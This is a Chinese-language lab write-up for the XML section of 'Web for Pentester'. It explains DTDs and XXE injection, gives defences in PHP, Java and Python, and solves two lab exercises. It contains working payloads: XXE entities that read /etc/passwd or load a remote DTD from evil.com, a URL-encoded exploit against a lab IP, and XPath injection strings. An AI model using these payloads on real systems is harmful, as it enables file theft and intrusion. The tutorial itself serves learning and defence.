Web for Pentester XXE解析

基础

XML基础

XML(Extensible Markup Language)用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" encoding="UTF-8"?>
<!--xml 声明 -->
<!DOCTYPE note [
<!ELEMENT note(to,from,heading,body)>
<!ELEMENT to (#PCDARA)>
<!ELEMENT from (#PCDARA)>
<!ELEMENT heading (#PCDARA)>
<!ELEMENT body (#PCDARA)>
]>
<!--xml 文档类型定义 -->
<note>
<to>Georger</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
<!--xml 文档元素 -->

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

内部声明DTD

<!DOCTYPE 根元素 [元素声明]>

引用外部DTD

<!DOCTYPE 根元素 SYSTEM "文件名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

内部声明实体

<!ENTITY 实体名称 "实体的值">

引用外部实体

<!ENTITY 实体名称 SYSTEM "URI">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

XML外部实体注入(XML eXternal Entity, XXE)

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
引入外部实体方式有多种,比如:

恶意引入外部XML实体的几种方式

1 本地引入

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>

2 远程引入

注入示例

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % d SYSTEM "http://evil.com/evil.dtd">
%d;
]>
<c>&b;</c>

恶意DTD文件(evil.dtd)的内容

1
<!ENTITY b SYSTEM "file:///etc/passwd">

3 另一种远程引入

注入示例

1
2
3
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://evil.com/evil.dtd">
<c>&b;</b>

恶意DTD文件(evil.dtd)的内容

1
<!ENTITY b SYSTEM "file:///etc/passwd">

几种恶意利用

1 回显特殊文件 /etc/passwd
2 服务器将文件发送到攻击者控制的C&C服务器
3 执行系统命令
4 探测内网端口
5 攻击内网网站

后记

参考资料1中有TSRC的XXE案例

防御XXE

方案一、使用开发语言提供的禁用外部实体的方法
方案二、过滤用户提交的XML数据

方案一

使用开发语言提供的禁用外部实体的方法

1
2
3
4
5
6
7
8
9
10
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二

过滤用户提交的XML数据

1
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

题目解答

Example 1

加单引号报错观察错误信息,发现使用了 simplexml_load_string 函数。
构造payload (注意对payload进行URL全编码)

1
2
3
<!doctype a [<!entity b system "file:///etc/passwd">]><c>&b;</c>
<!DOCTYPE a[<!ENTITY b SYSTEM "file:///etc/passwd">]><c>&b;</c>
http://192.168.56.101/xml/example1.php?xml=%3c%21%44%4f%43%54%59%50%45%20%61%5b%3c%21%45%4e%54%49%54%59%20%62%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64%22%3e%5d%3e%3c%63%3e%26%62%3b%3c%2f%63%3e%0a

Example 2

加单引号报错观察错误信息,发现使用了 SimpleXMLElement::xpath() 函数。

两组 payload
类似 SQLi 的第一组

1
2
name=hacker'or'1'='1
http://192.168.56.101/xml/example2.php?name=name=hacker%27or%271%27=%271

第二组,使用获取子节点的一些语句

1
2
name='or1=1]/parent::*/child::node()%00
http://192.168.56.101/xml/example2.php?name=name=%27or1=1]/parent::*/child::node()%00

参考资料

1 未知攻焉知防——XXE漏洞攻防 - Mark4z5 - TSRC
https://security.tencent.com/index.php/blog/msg/69

2 Web for pentester I part 2
http://www.atomsec.org/%E5%AE%89%E5%85%A8/web_for_pentester_i-part-2/

参考资料1 提及的参考资料

http://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf
http://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf
https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf
https://www.youtube.com/watch?v=j2cfebNEfic